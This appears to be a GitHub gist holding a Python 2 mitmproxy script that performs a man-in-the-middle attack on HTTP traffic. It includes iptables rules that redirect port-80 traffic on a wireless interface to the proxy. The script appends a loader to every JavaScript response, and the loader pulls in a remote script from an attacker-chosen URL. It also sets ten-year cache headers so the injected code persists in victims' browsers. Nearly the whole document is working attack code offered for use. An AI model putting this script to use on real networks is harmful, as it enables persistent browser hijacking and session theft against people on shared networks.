Created
September 21, 2014 08:42
-
-
Save y0ug/a9524e620774bcc56939 to your computer and use it in GitHub Desktop.
MITM script to inject JS into files and trick with the cache
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
""" | |
sudo iptables -t nat -A PREROUTING -i wlan0 -p tcp --destination-port 80 -j REDIRECT --to-port 8080 | |
sudo iptables -t nat -D PREROUTING -i wlan0 -p tcp --destination-port 80 -j REDIRECT --to-port 8080 | |
""" | |
from libmproxy import controller, proxy, platform | |
from libmproxy.flow import Response | |
from netlib.odict import ODictCaseless | |
import os | |
import sys | |
import datetime | |
import pprint | |
class InjectingMaster(controller.Master): | |
def __init__(self, server, iframe_url): | |
controller.Master.__init__(self, server) | |
self._iframe_url = iframe_url | |
def run(self): | |
try: | |
return controller.Master.run(self) | |
except KeyboardInterrupt: | |
self.shutdown() | |
def handle_request(self, msg): | |
if 'Accept-Encoding' in msg.headers: | |
msg.headers["Accept-Encoding"] = ('none',) | |
msg.reply() | |
def handle_response(self, msg): | |
hid = (msg.request.host, str(msg.request.port), msg.request.path, | |
str(msg.headers['Content-Type'])) | |
trap = """ | |
var trap = document.getElementById("trap"); | |
html = '<script id="trap" src="%s" type="text/javascript"></script>'; | |
if (trap == null){//document.body.innerHTML += html; | |
(function(d, script) { | |
script = d.createElement('script'); | |
script.type = 'text/javascript'; | |
script.async = true; | |
script.onload = function(){ | |
// remote script has loaded | |
}; | |
script.src = '%s'; | |
d.getElementsByTagName('head')[0].appendChild(script); | |
}(document)); | |
} | |
""" % (self._iframe_url, self._iframe_url) | |
print " ".join(hid) | |
if "application/javascript" in msg.headers["Content-Type"] or "application/x-javascript" in msg.headers["Content-Type"] or msg.request.path.endswith(".js"): | |
print "injected: %s" % ( " ".join(hid), ) | |
cache = 60*60*24*365*10 | |
date_expire = datetime.datetime.now() + datetime.timedelta(seconds=cache) | |
msg.content += "\n\n" + trap #" ".join(trap.split()) | |
msg.headers['Expires'] = [date_expire.strftime("%Y-%m-%d %H:%M:%S GMT")] | |
msg.headers['Cache-Control'] = ["max-age=%d, public" % cache] | |
msg.reply() | |
def main(argv): | |
if len(argv) != 2: | |
print "Usage: %s IFRAME_URL" % argv[0] | |
sys.exit(1) | |
iframe_url = argv[1] | |
config = proxy.ProxyConfig( | |
cacert = os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem"), | |
#transparent_proxy = dict (resolver = platform.resolver(), sslports = [443, 8443]) | |
) | |
server = proxy.ProxyServer(config, 8080) | |
print 'Starting proxy...' | |
m = InjectingMaster(server, iframe_url) | |
m.run() | |
if __name__ == '__main__': | |
main(sys.argv) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment